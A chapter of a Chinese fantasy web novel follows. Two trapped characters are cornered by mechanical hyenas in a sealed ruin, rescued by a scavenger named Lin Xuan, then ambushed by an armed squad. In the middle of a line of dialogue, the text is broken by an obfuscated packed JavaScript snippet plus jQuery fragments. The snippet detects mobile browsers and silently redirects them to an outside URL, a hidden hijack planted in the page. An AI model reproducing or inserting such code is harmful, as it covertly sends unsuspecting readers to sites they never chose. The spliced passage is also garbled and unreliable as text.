“这鬼地方该不会也有人来捡漏吧?”吴锐喉咙发紧,忽又精神一振,“太好了!我们有救了!”
吴锐压低声音,语速快了几分:“有捡漏人,说明这鬼地方还有进出通道没被彻底封死。只要跟他们碰上头,就能找到出口!”
宋临九不置可否,只静静听着。上回误入猎龙战场的遭遇还让她记忆犹新。
在裂隙界,同类往往比妖邪更危险。
话音未落,废墟深处传来沉重缓慢的震动声。
仿佛有什么庞然大物正碾过地面。每一次震动,都让地面微微颤抖,周围的金属架发出刺耳的变形声。
两人立即伏低身体,迅速躲到一堆倾倒的钢板后面。
远处昏暗的光芒中,一团难以名状的巨大阴影,缓缓碾过废墟。
那是一团由无数废弃机械拼凑成的金属残骸,没有固定形态,不断有零件从身上脱落,又从废墟中吸附新零件。在它不断变化的躯体上,密密麻麻嵌着上百只大小不一、颜色各异的眼睛,正无规律地转动。
“不能对视。”宋临九立即侧目,同时遮住吴锐的眼睛,“小心被发现。”
那怪物似乎并未发现他们,以一种缓慢却无可阻挡的势头,碾向废墟更深处。
震颤声逐渐远去。
直到周遭重归死寂,两人才敢稍稍喘息。
“工业残骸变异体……B级,可能更高!”吴锐压低声音,背靠钢板滑坐在地,“等会儿要是打起来,我断后,你先走。”
宋临九看了一眼他的伤口。
“你带着我,逃不出去的。”吴锐想挤出一个笑,嘴角却只僵硬地牵动了下,“对了,要不你吸我的血吧,就当还你救命恩情。”
若没御妖印的制约,这不失为一个权宜之计。但宋临九没明说,她不愿将劣势暴露在别人面前。
“节省体力。”她的声音没什么波澜,“必须立即离开这片区域。”
两人正要离开藏身处。
“咔嚓。”
一声轻微声音,从他们侧后方不远处响起。
两人僵住,缓缓转头。
另一堆金属残骸的阴影里,一双闪烁着红光的眼睛,正一瞬不瞬地盯着他们。
那东西体型不大,约半人高,外形如鬣狗,表面附着锈迹油污,吻部布满细密的旋转齿轮,正微微开合,露出寒光凛凛的尖齿。
它似乎已经观察他们很久了。
而在它身后那片阴影里,还有一片猩红光点,明灭不定。
“**!”吴锐低骂一句,脸色忽然变得煞白,“我想起来了!这是第七号废弃养殖场。”
“三百年前,天工坊搞的灵力机械融合试验场,地质塌陷后,与裂隙界发生空间杂糅。”
吴锐气息混乱,语速快得像在背课文。
“上面前后派了三批精锐清剿,全折在这,最后只能宣布永久封闭。”
他喘了口气,绝望地说:“我这状态,别说断后,怕是连三秒都撑不住,除非有英雄,肩扛双炮,脚踏七彩祥云,从天而降……”
机械鬣狗在两人的注视下,退入阴影中,红光明灭闪烁,似乎在交流。
宋临九眼神一凝,它们似乎也在忌惮那尊庞然大物。
一旦那东西走远,两人只余死路一条。
她拽住吴锐的胳膊,慢慢后退,试图退守至另一侧相对牢固的铁架内。眼神始终锁定领头的机械鬣狗,脑海中闪过数十种战斗方式,皆因妖力不足而一一作废。
“这监控环,”她压低声音,抬了抬腕上那枚泛着暗红微光的金属环,“能弄掉吗?”
吴锐一愣,头摇得跟拨浪鼓似的,“黑塔的御妖锁,只有黑塔能解。”
就在这时,二三十只红点从阴影中现身,呈扇形向两人包围过来。
“你跑吧!”吴锐猛推一把宋临九,“我来拖住它们!你叫宋林酒,对吗?我记住你了。”
宋临九反手拽住他衣领向后一扯,另一只手抓起半截锈铁管,狠狠敲向身旁的金属架。
“梆梆梆!”
刺耳的敲击声瞬间划破死寂。
钢铁鬣狗们动作一顿,警惕地竖起耳廓,转动头颅,生怕惊动那团庞然大物。
趁此机会,宋临九拉着吴锐朝钢铁废墟中狂奔。
然而,钢铁鬣狗体型较小,又熟悉地形,不过几个瞬息便追了上来,将两人团团围在一片空地上。
红光渐拢,齿轮摩擦声簌簌作响。
生死关头,斜上方突然传来一声轻笑。
那笑声很轻,漫不经心,清清楚楚钻进两人耳朵。
奇怪的是,宋临九竟觉得这笑声有些耳熟,她抬头看去,一道釉蓝电光骤然从天而降。
“啪!”
电光炸开,跳跃的电弧如蛇四窜。
那群钢铁鬣狗瞬间炸了锅,四肢乱蹦,嗷嗷乱叫,接二连三倒地抽搐。仅存的几只惊慌后退,旋即转身没入黑暗。
“好久不见。”
斜上方那根断裂的金属管道断口,不知何时多了个人。
黑色作战服,战术护目镜,嘴角噙一抹风流笑意。他随意蹲在管道口,一手搭在膝上,另一手上下抛玩着玄铁块,在空中划出一道釉蓝流光。
他看都没看地上横七竖八的机械残骸,目光落在宋临九身上,上下扫了好几遍,最终停在她唇边未干的血迹上。
“伤得不轻。”他虽在笑,声音里却没有笑意,“你怎么总把自己弄得这么狼狈?”
不等她回答,他又自嘲似的摇摇头,纵身跃下,落在宋临九身前。
“疼么?”
宋临九警惕地后退一步,只盯着他,“林悬,你怎么在这里?”
“林悬?”吴锐失声叫出来,“就是那个地表最强捡漏王林悬?太好了,小酒,我们有救了!”
吴锐欣喜若狂地扑向宋临九,想跟她来个劫后余生的拥抱庆祝,却扑了个空,愣神间,手里被塞进一只冰凉的金属小瓶。
“止血凝胶。抹上,能撑一阵。”
吴锐愣愣地看着他。
林悬已转回宋临九身前,近得能看见她眼底的血丝。
“别这么看我,”他语气软了几分,像在抱怨,“我也是来工作的。内容保密。”
“谁让你当初不选我?”他低声嘟囔,“选我的话,现在你什么都能知道。”
“你能带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129714|196210||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我们出去吗?”宋临九打断他。
“能。”
“条件?”
“你问得这么直接,很伤我的心。”林悬挑眉,忽又笑起来,“你可是我的妖,我带你出去,天经地义。”
吴锐一愣,指指自己,“那我呢?要不出去后,我给你送一副见义勇为好市民锦旗?”
林悬看都没看他,只望着宋临九。远处又隐隐传来沉闷的震动。
“你有多少把握?”宋临九问。
“八成。”他答得毫不犹豫。
远处闷雷般的震颤又一次滚过废墟,林悬眼神倏然一沉,嘴角那点漫不经心的笑意消失了。
“没时间了。”他语速快而清晰,“那东西在折返。跟我走。”
他转身朝废墟另一侧掠去,动作轻捷得像黑豹,却始终保持在宋临九能跟上的速度。吴锐咬牙撑起身子,踉跄跟上。
他选择的路非常刁钻。
有时是从管道夹缝中侧身穿行,有时是踩着悬空半截的钢梁疾走,下方就是深不见底的黑暗裂隙。
好几次,吴锐觉得自己要滑下去,前面却总会适时伸来一只苍白的手将他拉回原位。
“左侧三米,锈蚀支架,别碰。”林悬的声音低而稳,在死寂的环境中格外清晰,“右前方有塌陷空洞,绕过去。”
宋临九紧随其后,目光却不时扫向身后。
腕上的监控环红光比刚才更刺眼了些,她更谨慎地控制着妖力流转,生怕一个不小心触发电击惩罚。
“那个监控环很碍事。”林悬头也不回,却能精准捕捉宋临九的一举一动,“出去后,我想办法。”
“你能解?”宋临九问。
“试试呗。”
他忽然停步,蹲下身,手指在积满灰尘的地面上轻轻一抹,又凑到鼻尖闻了闻。
“有人来过,不久。至少五个,步伐很重,携带重型装备。”
“那赶紧跟他们汇合。”吴锐惊喜道。
宋临九及时示意他闭嘴。
林悬起身,手中的玄铁块化作一柄通体漆黑,刀刃流光的短刃。“我们换一条路。”
话音刚落,前方突然传来一连串沉闷的爆炸声。
“轰——”
冲击波裹挟着金属碎片和尘埃扑面而来。
林悬在爆炸响起的瞬间就反身扑倒宋临九,滚入侧边混凝土沟槽。吴锐慢了一拍,被气浪掀翻,后背重重撞在钢板上,痛得闷哼一声。
尘埃未落,急促的脚步声和枪械运转的嗡鸣声就已逼近。
“目标确认。在东北侧废墟沟槽附近。”粗粝的男声透过某种扩音设备传来,“封锁区域。活捉样本。”
宋临九贴着沟槽冰冷的内壁,屏住呼吸。她有一种直觉,这是冲她来的。
“别怕。”林悬的声音压得极低,紧贴着她耳畔,“有我在。”
他轻点护目镜,视野里多了7个移动绿点。“六个人,标准的清道夫三人战术小队编制,但多了一个重火力手,一个医疗兵,还有一个……不像清道夫。”
林悬顿了顿,“……像传统剑修。”
宋临九心一沉,难道这是那面具人派来追杀她的?